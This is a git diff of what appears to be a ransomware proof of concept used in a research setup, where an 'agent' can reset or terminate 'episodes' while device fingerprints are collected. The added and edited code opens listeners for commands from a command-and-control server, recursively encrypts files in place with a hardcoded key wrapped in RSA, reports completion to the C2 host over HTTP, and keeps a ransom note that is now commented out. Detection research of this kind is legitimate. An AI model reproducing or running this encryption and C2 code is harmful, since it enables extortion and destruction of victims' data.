diff --git a/client-eval.py b/client-eval.py new file mode 100644 index 0000000..2284c33 --- /dev/null +++ b/client-eval.py @@ -0,0 +1,159 @@ +import os +import signal +from argparse import ArgumentParser +from json import loads +from multiprocessing import Process +from os import path, remove +from socket import AF_INET, SOCK_STREAM, socket +from subprocess import call +from time import sleep, time + +from globals import get_config_path, get_reset_path, get_terminate_path, update_existing_config +from rwpoc import run + +TARGET_PATH = "" + + +def parse_args(): + parser = ArgumentParser(description='C2 Client') + parser.add_argument('-n', '--number', + help='Number of fingerprints to collect in one encryption run.', + default=0, + action="store") + + return parser.parse_args() + + +def listen_for_config_changes(): + with socket(AF_INET, SOCK_STREAM) as sock: + sock.bind(("0.0.0.0", 42666)) + sock.listen(1) + + while True: + conn, addr = sock.accept() # keep listening for new connections + with conn: + while True: + data = conn.recv(1024) # listen for incoming data of connection + if not data: + break + new_config = loads(data.decode(encoding="utf-8")) + print("received", new_config) + update_existing_config(new_config) + + +def listen_terminate_episode(): + with socket(AF_INET, SOCK_STREAM) as sock: + sock.bind(("0.0.0.0", 42667)) + sock.listen(1) + + while True: + conn, addr = sock.accept() # keep listening for new connections + with conn: + while True: + data = conn.recv(1024) # listen for incoming data of connection + if not data: + break + command = data.decode(encoding="utf-8").strip().lower() + print("received", command) + reset_path = get_reset_path() + terminate_path = get_terminate_path() + if command == "reset" and not path.exists(reset_path): + with open(reset_path, "x"): + pass + elif command == "terminate" and not path.exists(terminate_path): + with open(terminate_path, "x"): + pass + + +def collect_device_fingerprint(limit): + # FIXME: using call() spawns another sub-process that will get orphaned and not be terminated by kill_process() + if limit > 0: + """ + Remember: once the limit is reached the subprocess is terminated. + However, the (parent) encryption process is still running to completion + and will re-trigger the FP collection on the next iteration - up to the limit. + """ + call(["./fingerprinter.sh", "-n {}".format(limit)]) + else: + call("./fingerprinter.sh") # without option "-n ", this will continuously collect FP + + +def kill_process(proc): + print("kill Process", proc) + proc.terminate() + print("killed Process", proc) + timeout = 10 + start = time() + while proc.is_alive() and time() - start < timeout: + sleep(1) + if proc.is_alive(): + proc.kill() + print("...we had to put it down", proc) + sleep(2) + if proc.is_alive(): + os.kill(proc.pid, signal.SIGKILL) + print("...die already", proc) + else: + print(proc, "now dead") + else: + print(proc, "now dead") + + +if __name__ == "__main__": + # Parse arguments + args = parse_args() + num_fp = int(args.number) + + # Start subprocess to integrate config changes + procs = [] + proc_config = Process(target=listen_for_config_changes) + procs.append(proc_config) + proc_config.start() + + # Start subprocess to listen for episodes terminated by the agent + proc_reset = Process(target=listen_terminate_episode) + procs.append(proc_reset) + proc_reset.start() + + # Start subprocess to fingerprint device behavior + proc_fp = Process(target=collect_device_fingerprint, args=(num_fp,)) + procs.append(proc_fp) + proc_fp.start() + + # Start off encryption with clean config from C2 + config_path = get_config_path() + if path.exists(config_path): + remove(config_path) + + print("Waiting for initial config...") + while not path.exists(config_path): + sleep(1) + + try: + abs_paths = TARGET_PATH + + while True: + # input("\nEnter: start encrypting") + + # input("\nwait shortly for child to start") + print("\nENCRYPT") + run(encrypt=True, absolute_paths=abs_paths) # encrypt + + # input("\nEnter: start decrypting") + print("\nDECRYPT") + # run(encrypt=False, absolute_paths=abs_paths) # decrypt + call("./reset_corpus.sh") + reset_path = get_reset_path() + if path.exists(reset_path): + remove(reset_path) + terminate_path = get_terminate_path() + if path.exists(terminate_path): + remove(terminate_path) + break + finally: + print("finally") + for proc in procs: + if proc.is_alive(): + kill_process(proc) + else: + print("Process", proc, "already dead.") diff --git a/client.py b/client.py index 06f85b1..1a2255f 100644 --- a/client.py +++ b/client.py @@ -1,9 +1,11 @@ +from os import path, remove from json import loads from multiprocessing import Process from socket import AF_INET, SOCK_STREAM, socket from subprocess import call +from time import sleep -from globals import update_existing_config +from globals import get_config_path, update_existing_config from rwpoc import run TARGET_PATH = "" @@ -30,17 +32,37 @@ def collect_device_fingerprint(): call("./fingerprinter.sh") # without option "-n ", this will continuously collect FP +def kill_process(proc): + print("kill Process", proc) + proc.terminate() + proc.join() + print("killed Process", proc) + + if __name__ == "__main__": + config_path = get_config_path() + if path.exists(config_path): + remove(config_path) + + procs = [] proc_config = Process(target=listen_for_config_changes) + procs.append(proc_config) proc_config.start() proc_fp = Process(target=collect_device_fingerprint) + procs.append(proc_fp) proc_fp.start() + print("Waiting for initial config...") + while not path.exists(config_path): + sleep(1) + try: run(encrypt=True, absolute_paths=TARGET_PATH) finally: - proc_fp.terminate() - proc_fp.join() - proc_config.terminate() - proc_config.join() + print("finally") + for proc in procs: + if proc.is_alive(): + kill_process(proc) + else: + print("Process", proc, "already dead.") diff --git a/globals.py b/globals.py index 5b605c4..bfdfdc3 100644 --- a/globals.py +++ b/globals.py @@ -2,18 +2,43 @@ import os +CONFIG_FILE_PATH = "config.file" +RESET_FILE_PATH = "reset.marker" +TERMINATE_FILE_PATH = "terminate.marker" + + +def get_config_path(): + return CONFIG_FILE_PATH + + +def get_reset_path(): + return RESET_FILE_PATH + + +def get_terminate_path(): + return TERMINATE_FILE_PATH + + def update_existing_config(new_config): - config = get_config_from_file() + if not os.path.exists(CONFIG_FILE_PATH): + with open(CONFIG_FILE_PATH, "x"): + pass + config = configparser.ConfigParser() + config.read(CONFIG_FILE_PATH) + config.add_section("GENERAL") + config.add_section("BURST") + else: + config = get_config_from_file() config.set("GENERAL", "algo", new_config["algo"]) config.set("GENERAL", "rate", new_config["rate"]) config.set("BURST", "duration", new_config["burst_duration"]) config.set("BURST", "pause", new_config["burst_pause"]) - with open(os.path.join(os.path.curdir, "config.file"), "w") as config_file: + with open(os.path.join(os.path.curdir, CONFIG_FILE_PATH), "w") as config_file: config.write(config_file) def get_config_from_file(): config = configparser.ConfigParser() - config.read("config.file") + config.read(CONFIG_FILE_PATH) return config diff --git a/rwpoc.py b/rwpoc.py index fb7776b..9692564 100644 --- a/rwpoc.py +++ b/rwpoc.py @@ -10,7 +10,7 @@ from Crypto.Util import Counter from requests import put -from globals import get_config_from_file +from globals import get_reset_path, get_terminate_path, get_config_from_file # ============================================================ # ============ GLOBALS ============== @@ -163,6 +163,14 @@ def encrypt_file_inplace(file_name, crypto, total_files, burst_files, total_size plaintext = f.read(block_size) # read number of bytes while plaintext: + # ============================== + # RESET CORPUS WHEN EPISODE IS TERMINATED + # ============================== + + if path.exists(get_reset_path()) or path.exists(get_terminate_path()): + subprocess.call('echo "0" > ./{}'.format(RATE_FILE), shell=True) + break + # ============================== # GET LATEST CONFIG # ============================== @@ -328,7 +336,29 @@ def encrypt_files(key, start_dirs): # Recursively go through folders and encrypt files for curr_dir in start_dirs: + # ============================== + # RESET CORPUS WHEN EPISODE IS TERMINATED + # ============================== + + reset_path = get_reset_path() + terminate_path = get_terminate_path() + # print(curr_dir) + if path.exists(reset_path) or path.exists(terminate_path): + break + for file in discover_files(curr_dir): + # ============================== + # RESET CORPUS WHEN EPISODE IS TERMINATED + # ============================== + + # print(file) + if path.exists(reset_path) or path.exists(terminate_path): + break + + # ============================== + # HANDLE ENCRYPTION + # ============================== + if not file.endswith(EXTENSION): all_reported = False # found new file @@ -419,6 +449,7 @@ def decrypt_files(key, start_dirs): def notify_rw_done(): + # print("RW done") put(url="http://{}:{}{}".format(C2_IP, C2_PORT, C2_RW_ROUTE), data="") @@ -432,17 +463,17 @@ def run(encrypt, absolute_paths=None): server_key = RSA.importKey(SERVER_PUBLIC_RSA_KEY) encryptor = PKCS1_OAEP.new(server_key) encrypted_key_b64 = b64encode(encryptor.encrypt(HARDCODED_KEY)).decode("ascii") - print("Encrypted key", encrypted_key_b64, "\n") + # print("Encrypted key", encrypted_key_b64, "\n") if encrypt: - print("[COMPANY_NAME]\n\n" - "YOUR NETWORK IS ENCRYPTED NOW\n" - "USE - TO GET THE PRICE FOR YOUR DATA\n" - "DO NOT GIVE THIS EMAIL TO 3RD PARTIES\n" - "DO NOT RENAME OR MOVE THE FILE\n" - "THE FILE IS ENCRYPTED WITH THE FOLLOWING KEY\n" - "[begin_key]\n{}\n[end_key]\n" - "KEEP IT\n".format(SERVER_PUBLIC_RSA_KEY)) + # print("[COMPANY_NAME]\n\n" + # "YOUR NETWORK IS ENCRYPTED NOW\n" + # "USE - TO GET THE PRICE FOR YOUR DATA\n" + # "DO NOT GIVE THIS EMAIL TO 3RD PARTIES\n" + # "DO NOT RENAME OR MOVE THE FILE\n" + # "THE FILE IS ENCRYPTED WITH THE FOLLOWING KEY\n" + # "[begin_key]\n{}\n[end_key]\n" + # "KEEP IT\n".format(SERVER_PUBLIC_RSA_KEY)) key = HARDCODED_KEY else: # RSA Decryption function - warning that private key is hardcoded for testing purposes @@ -454,7 +485,8 @@ def run(encrypt, absolute_paths=None): with open("./" + RATE_FILE, "w+"): # create file if not exists and truncate contents if exists pass encrypt_files(key, start_dirs) - notify_rw_done() + if not (path.exists(get_reset_path()) or path.exists(get_terminate_path())): + notify_rw_done() # only notify if legitimately done and not terminated by agent else: decrypt_files(key, start_dirs)